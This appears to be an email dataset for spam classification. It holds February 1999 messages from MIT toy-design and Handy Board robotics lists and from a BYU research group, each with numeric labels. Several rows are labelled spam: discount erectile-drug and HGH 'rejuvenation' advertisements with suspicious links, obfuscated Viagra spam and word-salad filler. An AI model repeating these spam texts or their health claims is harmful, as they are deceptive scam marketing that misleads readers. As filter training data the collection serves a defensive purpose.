computer. It could also work by making them whistle or resonate in a more analog fashion. 2. Digital Recorder trigger kit This would be a digital sound recorder, a speaker, and a kit of triggers and cables for kids to set up gags of various sorts. Triggers could include motion detectors (to work as alarms), piesoelectric sensors (digital whoopee cushion), timers, IR remote control, sound sensor (telling people to ""Ssshhh""), light sensor, etc. Could include prerecorded sounds from action movies, funny sound effects, and a cable to record sounds downloaded from the net. The kit could also include ways to disguise the gear as coffee mugs, picture frames, etc. 3. Robot ""Director"" Essentially a simplified computer interface to a group of robotic toys with speech synthesis and motion capabilities. Children could write scripts for robots to act out (even adapting plays and screenplays they read in school) and watch as they walk around and speak to each other. There could also be a web site with scripts of famous scenes in theater and film, allowing kids to watch them played out on the living room floor. 4. Musical beads Each bead plays a single note. When connected in a string they play a melody which is looped when the beads form a necklace or bracelet. The beads could also be motion sensitive so that aspects of the sound (tone, resonance, distortion) alter with movement so dancing could create Roland-303-like ""acid line"" effects. 5. Furniture/Fort construction kit When the kid gets it, it looks like a couch. It is built, however, entirely out of interlocking foam, wood, and pillows that is easily broken down and rebuilt into new pieces of furniture and forts. A child's entire room (dressers, bed, couches, chairs, desk) could be disassembled and reassembled as the child saw fit. The big problem with forts is they always broke down because the pieces didn't lock together. In the kit, all the pieces could have puzzle-like edges to keep them together. 6. Storybook elaboration kit A line of storybooks that come with accessories for clay modelling that allow kids to build action figures of the characters in the book. Basic kit comes with colored modelling clay and simple accessories; each storybook comes with new outfits/accessories. Children read the book and then can enact scenes from the book and make characters from multiple stories interact. There could also be a digital version of this which allows kids to design animated sequences with the characters of multimedia stories on the computer. The animation sprites could be translated between book modules to allow cross-fertilization of stories. Kids could then print out scripts or translate them into prose. Hybrid or novel animated characters could also be built and traded with other kids over the net. ",0,0 Gianna Pippin ,handyboard@media.mit.edu,"Mon, 08 Feb 1999 13:57:05 -0500",Whats Hot,"be delicate see colloquia ! flemish and eternal it's clean ",1,0 Tracey ,play99@media.mit.edu,"Mon, 08 Feb 1999 20:09:24 -0100",Erection problems can be fixed Barbara ,"There are 100's of websites to buy medication for Erectile Difficulties, but not for 1.56 cents a pill. We have some of the lowest pricing on the internet. If you are already paying hundreds of dollars, then you should visit: http://europeand91k17i709005vv6idd6ivvv.antikingdc.com/ Sincerely, Tracey Customer Service Team confiscate you pinscher me, soybean conquer rhetorician snag . flux you alba me, accusative . jennie you alewife me, unit . nail you flunk me, chromate incurrer gimmick affirmation . fulcrum you sweatshirt me, detonate cease brainwash retiree . http://europeand91k17i709005vv6idd6ivvv.antikingdc.com/confirmation ",1,1 """Joe Marie J. Maja"" ","""Fred G. Martin"" ","Tue, 09 Feb 1999 11:14:33 +0900",Color sensor,"Fred and others, I was the one who posted some questions regarding on ball sensors, and thanks for all those varied replies. I am also considering a color sensor, since tennis ball have a distinct color - I supposed that a color sensor is enough. I have come across of some clips in MIT Tech Talk about a group of Graduate Students who design a color sensor. If anyone in this list got some more information on this, kindly help. e.g. circuits and information. Thanks again and hope to hear from you the soonest. j oema ",0,0 Alize Ready ,handyboard@media.mit.edu,"Mon, 08 Feb 1999 19:22:49 -0500",This diet plan is over the roof,"a keyboard see taken or planetaria try officio or alsop ",1,0 Jacky Mallett ,play99@media.mit.edu,"Mon, 08 Feb 1999 23:42:13 -0500",Jacky's playtime,"1. toy hammer with sensors for detecting what sort of objects it is being used on. Hammer would have an audio feedback which would discourage/encourage its use on certain kinds of objects. Parents would be able to buy or program different types depending on their social inclinations, so that some hammers would say something like, 'good kids don't hit other kids', (assuming that was the target), whilst incipient masters/mistresses of the universe could get something like 'the kids who hit the hardest wins'. Optional: Sale restricted to internet outlets which record names, addresses and social security numbers of who buys which type. 2. Programmable barbi (maybe this already exists) A barbi doll which could be programmed to say different phrases by the child. Optional parental switch which loads phrases safe for mum and dad to hear. 3. musical skipping rope. when i was a kid there were a lot of skipping games that used to be played during school breaks. This would be a standard skipping rope that had a small loudspeaker and a recording of the music and perhaps lyrics with and without the rules as alternatives to be selected. There were/are a lot of these games, and as i recall each school had its own local knowledge bank, which the skipping rope could increase. Possibly also with the ability to record. 4. Kids do it yourself gene sequencing kit. Definately under the toys from hell category, this would allow biologically inclined children (and adults) to play with easy gene sequencing (from insects say). Advanced models would permit you to create your own genome. (Technically this may well be practical in the real soon now...be scared.) 5. [Same idea quite a few people have i suspect] very simple, small, and cheap, slightly mobile somethings, that could be programmed with a small set of behaviours, and could then be put together in groups to explore the emergent results. Suitable in particular for the war games crowd, who seem content to spend days moving small model armies across boards and throwing dice to get the same effect, but behaviours could be purely mechanical, or social (10 bots vary in how much they want to get close, get away from specific other bots...what happens?) Anyone for american football? 6. VR Stunt kites. stunt kites are those two string jobs that offer considerable maneuverability and scope for tricks. This model would have a very small camera mounted on it, and would tranmit a full VR field of what it could see to the person operating the kite. It would be interesting to see if you could build this so that it doesn't cause severe motion sickness, but maybe in that case it would make a suitable trainer for astronauts instead. 7. intelligent block puzzles. these are the sort of puzzles which break down into 10 or more separate pieces and you have to reassemble them into some kind of solid shape. Problem is they can be very hard to figure out for younger kids, and once you've looked at a solution it's all over. So these pieces would have minimal intelligence, a simple motion detector and a small loudspeaker. If they detected that they were being played with, small hints would be given at periodic intervals to help you solve the puzzle, without giving the whole thing away at once. advanced version: once you've solved it, it somehow reconfigures itself into a different puzzle. 8. remote controlled, child sized, vacuum cleaner. (with easy to empty dust bag...) 9. kids do it youself space probe kit I saw an item recently that somebody here at MIT was working on small cheap rockets (under $10) which could reach orbit (albeit with a very small payload). So an extension of this would be to make the payload consist of a cheap radio and a camera/telescope which could be used to do your own space exploring. (Bound to get any local aliens howling to the intergalactic vacuum protection league before you can even say Space Family Robinson - but it's interesting to speculate what could become possible if the current trends of smaller/cheaper continue for much longer.) 10. instrument trainer/accompaniest. follows in the ground breaking steps of ""silento brasso"" (a japanese mute for brass instruments which considerably quietens the sound, but recreates the actual sound of the instrument through a pair of headphones for the player). This would be an intelligent music trainer and also provide accompanying instruments to simulate playing in a group. You can buy cdroms that sort of provide this for musical instruments, but this would have intelligence and would provide training exercises and and an accompaniest as you play. Version 10.3 would detect egregious mistakes and suggest exercises to resolve them.",0,0 Ian Hojnicki ,handyboard@media.mit.edu,"Mon, 08 Feb 1999 22:44:01 -0600",Stupid multiple sonars...,"I guess I have a really simple question to ask... I know that I can share many of the lines off of the SPI in order to hook up two polaroid sensors... However, is it really necessary to add a diode to each of the ECHO lines? If so, what are the specs for those diodes? I am basing the fact that I can use D3 for the additional INIT line for the second sonar. IS THIS CORRECT? I would not like to just chuck and jive with this, it is of course university property. I would like the reply to go to my account directly cause I don't know when Fred will get me added to the mailing list... Thanks Ian ",0,0 Young ,handyboard@media.mit.edu,"Mon, 08 Feb 1999 23:16:56 -0200",you wont believe Young ,"Hi, em..... I gotta tell you something. Some years ago I used to watch porno often. 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Martin"" ","Tue, 09 Feb 1999 05:25:52 +0000",Re: IR," hi! we are currently doing our thesis and we find it difficult to program and connect the IR to the HB. could anyone please help???? -theresa ",0,0 Barbara Barry ,play99@media.mit.edu,"Tue, 09 Feb 1999 00:53:50 -0500",toy x10 ,"stargazer t-shirt a gps stargazing assistant t-shirt. the shirt keeps track of date, time and place. no matter where you are you can look at your shirt to find out what constellations to search for at that time in the sky . maybe when touched the allegorical shapes of the constellations can appear around the star configuration (h.a. rey) story beads beads that have an image loaded into them via ir. strung together and worn - the images are played out as a story on a tiny lcd amulet. trade 'em with your friends (been talking to kwin about this as a research project for the semester as an adaptation for another set of programmable beads). while latoya is doing her science project she can keep images of her research and pictures/notes about other women scientists in history. empowerment necklace - but better than wonder woman's. world garden pick a location on the spinning world - zoom in and plant seeds. check in later, irrigate, maybe put down some mulch. see how they are growing and surviving based on real climate and weather conditions in that world location. sim garden with real world influence - but beautiful graphics. maybe collaborative. one could spell a message for a friend that would only be revealed when the flowers bloomed or died. (andrew witkin) toy-tags a creation id tag for homemade toys - the idea is to give some information about the history of the toy construction. so, materials can be traded and challenge the next player. maybe a small audio file for playback of challenge - ""i made a fish from this piece of silk in 20 folds..."" (pengkai pan) holographic marbles edge lit holograms embedded in marbles. used on a circular light board. images are distorted to abstraction in all cases except when the edge of the hologram is perpendicular to the light board - then you get the holographic image. firefly crayons little plastic bugs, light on back, teeny ink jet underneath. two modes - set and variable. set means you choose a color red, yellow, blue, black, white. variable works on proximity. if a variable bug is close to a blue and yellow bug it would turn green. you could always press on the backs of the bugs and draw with ink in the color displayed on the back. maybe they could move autonomously like bugs and draw patterned pictures (a possessed spirographic bug collection) eleanor's paper dragon pen that deposits dragon's in a digital storybook land. the dragons traverse the world and depending on where they are initially placed pick up characters on their backs, dance and fight making weather in the world change. they always (if they survive) end the story in a factory where they make and fly paper airplanes. the airplanes can be digitally unfolded and the player can write messages on them to keep and see next time they use the book. the message planes sometimes fly around during the stories and slay a dragon. (bettelheim) musical markers each color has a different sound that plays while you draw. notes could vary in some way depending on gesture. (does anyone remember those scented markers of the 70's - fun!) soap bubble stamps color images printed on soap bubbles. as the bubbles get formed the images swirl into abstract colorful patterns. they float away and burst, but when the ink dries it becomes invisible. comic-cam a wireless camera for taking, augmenting and trading of images (no camera storage, just in the moment storytelling). you can add blurbs of text. images can be sent to a central server for time relative comic sequencing. ********************* Barbara Barry Interactive Cinema MIT Media Lab ph: 617-253-9706 office: E15-431 ********************* ",0,0 Simisola Augusta ,icon-group-addresses@baskerville.CS.Arizona.EDU,"Mon, 08 Feb 1999 18:36:45 -0700",Re: your VztAGRA,"Hi P V V L A X C r A I e m a I o L A v b n A z I G i i a L a U R t e x I c M A ra n S http://www.xiterfunis.com from the great heavy faces of them, and their size, and the shape of their legs, not to mention their language, which was not drawing-room fashion at all, at all. Mutton yesterday, mutton today, and blimey, if it dont look like mutton again tomorrow, said one of the trolls. Never a blinking bit of manflesh have we had for long enough, said ",1,1 Jason Jay ,Projects In Play ,"Tue, 09 Feb 1999 01:45:38 -0500",Jason's 7-10,"Sorry I only sent 6 at first. Here are the rest. 7. Temperature sensitive paint A lot of toys have dyes that change color with temperature so you can touch them and make them change color. Kids should be able to paint with this stuff. Particularly their walls, so they can then finger paint the temperature-sensitive regions. 8. Musical Jungle Gym Kids build complex structures with bars and squares that play music when touched. Kids specify the musical relationships between the pieces. They can then run around on them to make music or set their cats free on them. 9. Remote control shark w/goggles A remote control shark that can swim up down and around in the water. It has a digital video camera that broadcasts to a pair of glasses so the child can see through the shark's eyes. 10. Cookie sculpture Figure out a recipe for dough that you can sculpt into figures that don't lose shape in the oven. Kids can bake their sculptures to harden them and then eat them. ",0,0 Gail Spears ,play99@media.mit.edu,"Tue, 09 Feb 1999 12:45:49 -0900",Rejuvenation formula! ,"After the age of twenty-one, your body slowly stops releasing an important hormone known as HGH (Human Growth Hormone). The reduction of HGH, which regulates levels of other hormones in the body (including testosterone, estrogen, progesterone, and melatonin) is directly responsible for many of the most common signs of growing old, such as wrinkles, gray hair, decreased energy, and diminished sexual function. Human Growth Hormone will normally yield the following results: - Boost your immune system - Rejuvenate your body and mind - Feel & look younger - Reduce wrinkles, lose weight, decrease cellulite - Restore your sex drive and vigor - Revitalize your heart, liver, kidneys & lungs - Maintain muscle mass - Refresh memory, mood and mental energy - Sleep soundly and awake rested - Help eliminate stress, fatigue and depression http://bcjaegdil.capitalshift.info/?fhkmdilxwqowybcjzhghaeg ",1,1 Rickie ,play99@media.mit.edu,"Mon, 01 Jan 1996 22:49:23 +0300",shame of sex? we can change it Candace ,"You don't need to talk to a doctor to get the sexual help that you need. Have a look here. We sell all of the most popular erectile dysfunction medication at literally 1/5th the cost. If you buy medication to enhance erections now, you really should check out: http://eloiselz9a9fqxqz88vl3wq3lwq3l3.plauditeig.com/ We back our medications up with a full 45-day guarantee. If you are not 100% satisified, we will refund you no questions asked. Sincerely, Rickie Customer Service Team ",1,1 Rich Fletcher ,play99@media.mit.edu,"Tue, 09 Feb 1999 05:03:45 -0500",top 8," ideas off the top of my head: 1) toys that non-rich people can afford 2) toys that help kids learn about health/medicine, biosensors 3) toys that help kids learn about science (e.g. electricity, weather) 4) toys that allow kids to communicate with other kids around the world 5) toys that allow kids to communicate with animals, plants 6) electrical wind-up toys (i.e. no more batteries) 7) millimeter-size remote-controlled vehicles 8) a toy which measures how much you have learned each day -Rich ",0,0 Seungho Choo ,play99@media.mit.edu,"Tue, 09 Feb 1999 05:19:39 -0500",Seungho's Top 10,"ColorKids1: This can sense colors of everything, so if kids put it on some places or objects , it plays music according to the color. Everything has color, so this allows kids to play with everthing in their environments. ColorKids2: This toy can track specific color on surfaces. Kids draw a line, it follow the line by color sensor. We can program it to do specific behavior such as "" turn around"", ""go back"",""turn left"", etc when it meets specific color So, kids get to understand the behaviors and relation to the color, they can control the toy's motion by drawing lines with several colors. ColorKids3: This objects has small screen which show a certain colors. If two kids who have them meet and play with them, colors can be exchanged by IR and it can memorize the other's color by identifing the signal. If the number of playing with each other increase, color become to be similar. What a friendship! ( Or, by shaking it, randomly a color is selected and displayed. And then two of color get to be close smoothly. ) Music Sword : Two swords are connected to computer. if a certain part of one sword and a part of the other sword collide or meet, it trigger a specific sound on scale such as ""do"", ""re"". So, two kids can collaborate to play a music intentionally. Followers: A set of toys with a learder toy: if kid moves a leader toy in some trajetory, the other toys traces it in a certain time interval or behave in same way from its position. Kids can create patterns of the movement of them. (a toy that remember its pervious trajectory and repeat moving along with the trace has been developed and implemented by Phil of TMG) Remote Control by motion: One is a toy like a remote controlled car. The other is a motion sender other than a controller. By grasping and moving it in a space, kid can control the action of remote car or toy. Squeezing and expaning(see-saw): Two objects is virtually conneted. if one is squeezed , the other is expanded. Vice versa. So, this can be a sort of haptic communication way for only two kids. Action-reaction is adopted. Pitching a ball onto wall: Using projector, it draws curves that trace hit points on a wall at everytime kid pitch a ball onto the wall and also, it can lead kids to hit a point on the wall by projecting a target. (cf. Pingpong plus) Several kids can play together at the same time. Messenger toy: This is not for personal belongings. A kid record his/her voice and some movement to this toy. And then, next day, he give it to a friend. The friend hear the sound and see the toy's motion and then record his answer. And continue ... There is a personal key to play the recorded sound for him. Lcd can be applied to show indication the frequency of communication with it. Like damagochi, if it is low, it show some sign of sadness. Each kid can have each toy. And with the same concept above, they can exchange them. Sign language toy: A certain motion of arms or legs trigger a specific sounds and display text on LCD to convey the meaning which is contained in the motion. It will teach sign language to normal children as well as the handicapped children in very natural way. -_-; Seungho Choo Tangible Media Group 3-4121 ",0,0 David Embley ,"sbk@cs.byu.edu, liddle@byu.edu, quass@byu.edu","Tue, 09 Feb 1999 13:58:55 +0100",Re: REMINDER -- paragraphs due soon ," > > (2) We can take advantage of context in order to help us > discover additional concept instances in the text. That is, > for a given concept we can look at the contexts surrounding > the instances of the concept found in the text. We then > identify those contexts in which the concept has appeared > frequently, and we look for additional instances of those > contexts in the text. It is likely that the those additional context > instances contain additional concept instances. (Ref paper by > Sergey Brin.) Yes -- this should work. Further -- we should be able to optimize or specialize for particular pages by discovering the context and thus being able either to find the landmarks for the page or to discard unused context information from a more general regular expression. > > (3) A context can be based upon either > (a) words appearing before and/or after the concept instance, or > (b) structural ""idioms."" > > As an example for (a), suppose we are looking for company names. > We have a lexicon of 10,000 company names and have found 100 > instances of company names in a text. Suppose further that 25 of > the company names are preceeded by a person's name and the > words ""works for."" If we look for additional occurrences of a person's > name followed by the words ""works for"" in the text, it is likely that > the word following is a company name, which should be considered > for potential addition to our lexicon. > > The situation is a little more complex if the concept is identified by > a regular expression instead of a lexicon. In that case if we find > additional concept instances we need to consider extending our > regular expression to match the additional instances. We want to > extend the regular expression in some minimal sense so that we > match the additional concept instances but would not match too > many other character sequences. > > As an example for (b) above, suppose you are looking for paper > titles and authors in unstructured text. Paper titles and authors > often appear in bibliographies, which are formatted in one of > a few specific ways (which we call ""structural idioms""). Many > types of information, such as glossaries, catalogs, etc., often > appear in such well-defined structures. It should be possible > to characterize these structures before-hand as templates (idioms), > then use these templates to help find additional concept > instances in the text. For example, suppose you find several > sequences ""title, author, Y, year"" near the end of a document, > where Y represents an unknown word. Given a template that > specifies that a bibliographic idiom is: ""title, author, publisher, year"" > it should be possible to infer that Y is a publisher and that other > sequences ""W, X, Y, year"" located nearby are also bibliographic > instances. > > (4) One should be able to come up with reusable, extensible > libraries of patterns, lexicons, and idioms. > > WEB PAGE CLASSIFICATION > > (After thinking about it, I may be interested in web page > classification after all.) > > (1) I believe most work on text classification has to do with > frequencies of words and phrases in the texts. (Nothing new > here.) We propose to apply this work to web page classification > and extend it in three ways by taking advantage of special > characteristics of web pages. (Need to check if any of these > ideas have been proposed already.) > > (2) First, we believe that web pages of a certain category are > likely to point to and be pointed by other web pages in the same > category. We propose to take the graph structure of the Web > into account to help improve our classification, and to perform > experiments to see if we are right! Yes -- we somehow need to find all the relevant links that bring the pages of interest together. > > (3) Second, even though web pages do not contain the exact > same words and/or phrases, they may contain the same concepts. > For example, catalog pages often contain prices, identified by a > pattern: $ followed by one or more digits and (at most) one period. > Even though different catalog pages contain different specific > prices, they generally contain instances of the price concept, > and so they are likely to belong to the online catalog category. > > (4) Third, web pages may contain the same structural idioms. > For example, catalog web pages often contain tables, with prices > in a certain column. If you run across a web page with a table > containing instances of the price concept in one or more of the > columns, it is likely to be a catalog. It should be possible to come > up with a set of idioms for a given category (say online catalogs) > that help to identify pages in that category. > Don't forget to also use clusters of ideas related in an ontology to match clusters of information on a page (or set of related pages). In these clusters, the amount of information about some concept may indeed matter. Example: Courses and Departments are related and there should be about 40 +/- courses for a department about 20 +/- faculty members, ... Good luck in putting this all together. Dave ",0,0 Dennis Ng ,"campbell@cs.byu.edu, embley@embley.cs.byu.edu, sbk@cs.byu.edu, quass@byu.edu, liddle@byu.edu, lonz@byu.edu","Tue, 09 Feb 1999 08:45:08 -0700",NSF Project Proposal Ideas ," For the Web-page Classification problem, we consider the following existing methods on data extraction from unstructured documents: A. Automatic Term Extraction and Weighting: a) Term Frequency (TF): TF = Number of occurrence of term k in a document m; W(d,t) = TF(d,t), where W(d,t) = the weight of a term t in a document t Note that TF is known to improve the recall in IR. b) Inverse Document Frequency (IDF): IDF is proportional to 1/[df(t)] which determines the importance of each term that is inversely proportional to the number of documents that contain the term t. IDF measures term occurrence across a collection of documents. Note that TF(d,t) and IDF(t) would contribute to improve the recall and the precision respectively. c) Weighted Inverse Document Frequency (WIDF): WIDF corresponds to the normalized term frequency over the collection. WIDF differs in each document. B. IR Models: 1) Vector Space Model: A document or a query can be represented as a vector, with each term as a t-dimensional axis and a document or query resides in t-dimensional space. The magnitude of a document or query results from the computation of associated terms. i.e., d1 = (t1, t2, . , tn); ..., q1 = (u1, u2, ., uk); where d1 = document 1; q1 = query 1; t1 = number of occurrence (or weight) of term1 in a d1; 2) Probabilistic Model: The probability of term j occurring in a document, given document is (NOT) relevant to a given query. 3) Clustering Model: This model is based on clusters of similar documents into a class, called ""Centroid"", and a ""Super-centroid"" can be formed from many similar centroid. Using the similarity measure between two centroid or super-centroid, weight of a centroid term is computed as the average of the weights for that term over all documents in a cluster. ",0,0 Darkman ,"Ian Hojnicki , handyboard@media.mit.edu","Tue, 09 Feb 1999 09:09:42 -0500",Re: Stupid multiple sonars...,"a small signal diode like 1N914 should do. -----Original Message----- From: Ian Hojnicki To: handyboard@media.mit.edu Date: Tuesday, February 09, 1999 12:16 AM Subject: Stupid multiple sonars... >I guess I have a really simple question to ask... I know that I can >share many of the lines off of the SPI in order to hook up two polaroid >sensors... However, is it really necessary to add a diode to each of the >ECHO lines? If so, what are the specs for those diodes? I am basing the >fact that I can use D3 for the additional INIT line for the second >sonar. IS THIS CORRECT? I would not like to just chuck and jive with >this, it is of course university property. I would like the reply to go >to my account directly cause I don't know when Fred will get me added to >the mailing list... Thanks > > >Ian >",0,0 Carlos Fernandez ,Handy Board ,"Tue, 09 Feb 1999 09:23:46 -0500",before to try to unsubscribe ,"I have been a member of this list for a while now. I enjoy this list very much and find it to be very useful and helpful. The issues that the members bring forward are great and the support/attention that Fred G. Martin gives to the list is out of this world. Not even software companies that charge for support take care of their issues so efficiently. Now, assuming that we are all some what technical, since we are trying to built robots and other fun gadgets. Why is it that the members of the list cannot performed the simple task of unsubscribing. Is it really that hard. I admired the patience and control the Fred shows. I believe it takes allot of control to explain yet again to another ""member"" how to unsubscribe. Assuming that you where intelligent enough to follow the directions to subscribe, how hard would it be to follow the directions to unsubscribe. I am sorry if I have offended anybody, but I believe its time for somebody to said something about this issue. STOP being LAZY and go to the web site and READ how to UNSUBSCRIBE. PS Incase your to lazy to figure-out where to go here is the address: http://lcs.www.media.mit.edu/groups/el/Projects/handy-board/maillist/unsub.h tml Thank You ",0,1 Kwin Hultman Kramer ,play99@media.mit.edu,"Tue, 09 Feb 1999 09:49:53 -0500",some toys,"Free-form checkers - Checker game pieces that flip from red to black (or maybe white to navy blue, or green to purple). You don't use a board to play with these; you just slide them around on top of a table. They change color depending on the colors and positions of their nearby neighbors. If you don't like the ""rules"" of interaction you can change them, using a desktop computer to write new game patterns for your pieces. Crazy Sound Tube - A bendable, pullable, shakeable, squeezable tube that plugs into stereo headphones and responds to all of the above by producing a private music and sound effects show. Or plug a bunch of them (maybe different ""instruments"") into a multiplexer and a stereo with speakers for a concert. And for the adventurous Constructionist, perhaps you could customize or add to the repertoir of your Crazy Tube by writing new sounds and response patterns in Logo. Infrared Glasses - When I was in sixth grade it became pretty obvious that I needed glasses, which I hated wearing. Maybe I would have liked them a little more if they could have changed the view of the world that they gave me depending on my mood. So -- a la Steve Mann -- how about a pair of eyeglasses that could change tint, or become ""rose-colored,"" or show me infrared or ultraviolet parts of the spectrum, sometimes. Maybe even kids with 20/20 vision would want them. Shoes-Alive - As Neil is fond of pointing out, shoes have room for electronics and built-in kinetic power. With this in mind, and a little creative use of electro-luminiscent and similar materials, we should be able to make really nifty light-up shoes. And not just shoes that blink an LED or two, but shoes that light up differently for every person, every day. And how about athletic shoes that respond to motion, artsy shoes that can reflect the aesthetics of the wearer, and shoes for high-school sweethearts that glow sympathetically when their mates' are nearby. Audio Spotlight Jr. - A little megaphone that ""throws"" your voice across the room. Appeals to the desire in all of us to play ventriloquist. ",0,0 Michelle Shook ,play99@media.mit.edu,"Tue, 09 Feb 1999 10:17:02 -0500",Toy ideas,"My top ten toy ideas... 10. Magnetic Music Kind of like magnetic poetry but you can put musical notes together on the refrigerator to compose music and play it back while you are cooking dinner. Maybe the magnetic poetry can be modified so that it can interact with the music and become lyrics for songs. 9. Interactive Frisbee and Dog Collar A frisbee that senses how close a dog is to catching the frisbee from the collar around the dog's neck. As the dog gets closer to the frisbee, the frisbee flashes its lights quickly and plays music to a crescendo when the dog finally catches it. 8. Programmable Slip N' Slide A twist on the old slip n' slide that uses sensors to track the movement of the slider and directly aim streams of water at him or her. Additionally, the slider could alternate the style of the water spraying out, like in parabolic arches or fine mists. 7. Stringless Marionettes Puppets that move their eyes, legs, etc and mimic the movement of sensors on the puppeteer's fingers. That way, the puppeteer can remain concealed behind a curtain and the puppets look like they are moving by themselves. 6. Programmable Garden A contained aquarium-type gardening kit that provides children with several different plants and soil and then allows the children to use a computer to program the soil temperature, lighting, and water control for different areas of the aquarium, allowing the kids to find the optimal climate for different vegetables and flowers. 5. Musical Painting A special canvas with a camera that interprets the different colors applied, type of brush with which the color is applied, and speed with which the paint is applied and translates it into musical tones, allowing the painter to compose a musical score that reflects the mood and tone of the painting. 4. Storytelling Beanie Babies Seeing as how kids love collecting beanie babies, this would allow kids to download typed stories or voice recorded stories into their own beanie baby and then send them to their friend's beanie babies, giving kids the ability to start their own storytelling network throughout the community among owners of the beanbag toys. 3. Programmable Pet For all the kids who have parents that are allergic to animals, this would give children the opportunity to ""adopt"" a programmable stuffed animal that can be taught to bark at sibling invaders, retreive the newspaper, or play with balls and plastic squeaky toys. 2. Mood Braces Well this isn't exactly a toy, but when I had braces, the cool thing was to get different colored rubber bands around the brackets and to make your mouth as colorful as possible. Mood braces could make the brackets turn different colors, depending upon your stress level. Added bonus because when the orthodontist tightens your wires too much, the braces turn red. Instant feedback. 1. Coaching Baseball and Bat A talking baseball that tells a child how hard he/she hit the ball and gives suggestions of how to swing the bat to improve his/her techinique and form. michelle shook ",0,0 Oliver Roup ,play99@media.mit.edu,"Tue, 09 Feb 1999 10:27:44 -0500",Top ten.,"1. Physical Minesweeper: Minesweeper is an enjoyable game on computer, but it's need for significant internal state has so far made it inappropriate for the physical world. We could build a physical version of Minesweeper with all the electronics carefully hidden inside the board. Ideally we would make multiple boards capable of sharing state when placed adjacent to one another. 2. You Are The Star: Karaoke+. The 'base' unit would be a microphone and a speaker unit you would place on the floor of your living room, amplifying your voice, but the 'hook' is that you could get additional, disconnected units that modified or augmented the behavior of the system: Additional speakers, perhaps that do reverb or some kind of percussion overlay. A colored light that pans and swivels to track you around your living room. A networked node that brought in additional content from the internet or connected you to others singing the same song throughout the world for ensemble numbers. 3. Travel Echo. A gps enabled device that you carry while travelling. It records snippets of audio in it's environment and uploads them to some central database. Later when someone with a similar device comes to that same spot, they hear an echo of those who have come before them. I think the trick here would be in not making things too easy. It should not be possible to play the audio for some arbitrary location without actually going there. It should also try and avoid people specifically recording a certain something but rather wait for 'candid' audio moments. 4. Gathering Amulets: We make severeal different 'brands' of amulets, each representing a different clan with a different backstory. The amulet is a device that glows or hums or vibrates when it is near to other devices of similar clan, perhaps inconsistently, perhaps after some sort of delay. Also, perhaps it shouldn't glow if amulets from other clans are also present. The idea being that kids are always left wondering who is in their clan, trying to meet others from their clan. Maybe there can be some kind of greeting passed from amulet to amulet, similar to the audio echo above. (Think Highlander, hopefully without the swordplay. There can definitely be more than one.) 5. Haptic Twins: A doll or plush toy is bonded at manufacturing time with another identical doll that are sent to geographically and perhaps culturally disparate locations. When one is moved or posed the other moves to mimic. Again, perhaps audio of some kind can be passed between the two, not literal recordings, but snippets, fading in and out perhaps.. The idea is not that things turn into haptic tug of war, but that each doll is 'inhabited' by the spirit of another child. Potentially, the doll that your doll inhabits, and the one that inhabits that your doll would not have to be the same. IE, the dolls wouldn't be strictly paired but just inhabited by 'another' doll. Obviously there are issues like what happens if nobody ever buys the doll yours is paired with. 6. Cheshire cat: In tourist shops there are these cheesy little ceramic heads you can buy that when you turn their head they kind of bob back and forth. We could make one of those that slowly turns to face any sound in the room. Or similarly a Cheshire cat that always keeps it's eyes on you. (May actually be kind of freaky, but hey.) 7. Remote Control Tail Gaiters: Remote control cars, once several hundred dollars and requiring elaborate construction now are in the commodity domain of Tyco and others. Each car needs a 'gag' something it does that distinguishes it from other cars like it. We could build 'tail lights' into a popular car, and then make other cars with no remote control, but that simply follow the lights of the car in from. These follower cars should have tail lights themselves, so the cars can be trained together, the more cars you have, the longer the train. 8. A 'real' lightsaber: OK, I know it is a bit late to get tie in merchandise on the store shelves, maybe we can do it for the sequel to the prequel. But I want a lightsaber as an input device to a computer game. You need some way to track the position and orientation of a lightsaber throughout three-space, but imagine a mortal-combat style video game, but with swords, and you use a real sword looking device to play. Handling character movements might be tough, but if you tracked translation of the sword, you might be able to fake it. If cost weren't a big deal you could add tracking to the feet or something to handle advance and retreat kind of movement. At close range, IR is probably viable for sword-computer communication. You could also have some kind of physical feedback in the sword, like a physical jolt when you hit something. 9. Active Bat (Not to be confused with ActiveX): OK, I know this was a joke in a Microsoft-sucks email that went around a while ago, but the time interval between absurd and marketable product is getting shorter every year. An 'active' bat is one that has a compressed air cylinder inside and exhaust ports on the sides, and directs the bat into the ball using real time tracking of the ball. The player supplies the force, the bat supplies the aim. Some might argue that this takes the fun out of baseball, but I think it gives uncoordinated kids the practice and confidence they need to use a real bat. I think it might be a cool training tool too. 10. A mail droid. I always loved those little robots that looked like letter carriers running around the Death Star in Star Wars. I am not sure what the status is, but I know someone at the lab is trying to do in building lojack, which could do position sensing within a couple of milimeters. It would be fun to build an actual mail droid that just wandered around the building, visiting various rooms. It could either have some way to call the elevator or just wait for it and take a ride. It wouldn't necessarily have to deliver real mail, it could just have 'personality.' Maybe you could tell it: Go get me a soda from the soda machine. ",0,0 Dan Overholt ,play99@media.mit.edu,"Tue, 09 Feb 1999 10:53:08 -0500",Toy Ideas...,"1) Virtual musicians that allow kids to create a personalized character that they can interact with. Kids choose an instrument they want their character to play, what type of band they want to be in, and define their musical style and ""look"". Each instrument could have built in riffs that sound ""cool"", but as a kid becomes better at controlling a character, they would have more musical control and flexibility. 2) Audio building blocks that allow kids to put together chains of signal processing. The actual DSP could be done on a pentium, with the blocks relaying their arrangement back to the computer. Blocks could be connected either with wires or by touching each other, and each box would have its own purpose, ie a delay box, a flange box, a resonant filter, etc. Input to the chain could be from a microphone or CD player, etc. 3) Clear/Break apart jet engine that lets kids see the inside of the technology and begin to understand how it works. I have seen models of car engines like this, but turbine engines are actually much simpler in operation than a typical piston engine. 4) A magic mirror that gives you arguments when you mismatch your clothes. With the camera behind the mirror and face recognition, you could record messages to be played back when the mirror sees your brother or sister. 5) Emergency parachute system for remote control airplanes. This would actually be quite useful while learning to fly RC planes. A spring loaded mechanism mounted on the empenage (tail section) that opens the parachute with a button press on the remote could save many an airplane from destruction. (I remember my first plane's disastrous maiden voyage after I had spent many hours building it...) :-( 6) Realistic sounding toy airplanes for toddlers that make appropriate jet noises (using a tilt sensor) -- cruising noises when flying level, and bring in the doppler effect when the nose is tilted down. Also makes crashing noises when you touch it down other than moving forward as the wheels touch. 7) Musical hula hoops that allow you to control the rhythm or some other aspect of the music that they generate. Would use accelerometers or buttons on the inside of the hoop to sense motion. Also, a walkman with accelerometers could track the speed at which you walk and adjust the tempo of the music to match. 8) Scanner music -- take a handheld scanner and turn it into a musical instrument by using the signals generated by the optics. Could be done either as software on a desktop computer, or by adding a synth and a speaker to the scanner make it portable. 9) (I think Saul Griffith is already working on this...) Musical kites that use wind power to drive string(s) into vibration. Kite 